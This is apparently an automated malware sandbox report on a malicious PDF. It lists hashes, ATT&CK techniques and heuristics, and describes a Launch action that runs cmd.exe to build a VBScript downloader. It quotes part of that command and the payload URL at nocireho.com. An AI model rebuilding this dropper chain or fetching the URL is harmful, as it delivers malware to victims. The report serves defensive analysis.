PDF malware analysis — malicious · 07340a00df5869ef

MALICIOUS

PDF

693.8 KB

MD5: 741b778e05c16ce6f054e3ea6d6d0080 SHA-1: 48bbffd262bde42a505bec1a0a259a6846c90f0c SHA-256: 07340a00df5869ef3b8004710911da04f769413dfa220f41506cdd534631f6da

272 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript T1105 Ingress Tool Transfer

The PDF file contains embedded JavaScript and a launch action that executes cmd.exe. This command chain is designed to download a VBScript payload from 'http://nocireho.com/nepm/tmp/m.vbs' using ADODB.Stream and MSXML2.XMLHTTP, and then execute it. The embedded script itself is obfuscated but clearly indicates the intent to download and run a secondary payload.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 6

Adobe Reader Launch action VBS dropper command chain critical CVE likely CVE_2010_1240_LAUNCH_VBS_DROPPER

PDF uses a CVE-2010-1240-style Launch action: cmd.exe is invoked from /Launch and builds a VBS stage that uses ADODB.Stream, MSXML2.XMLHTTP, or FileSystemObject to write or execute a payload.
Launch action critical PDF_LAUNCH

PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
PDF JavaScript WScript downloader high PDF_JS_WSCRIPT_DOWNLOADER

Decoded PDF JavaScript reconstructs a Windows Script Host COM downloader using WScript.CreateObject plus XMLHTTP/ADODB.Stream style download, write, and run behavior. This is commodity payload delivery rather than a specific PDF parser CVE trigger.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://nocireho.com/nepm/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_00000067.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x67	63 bytes

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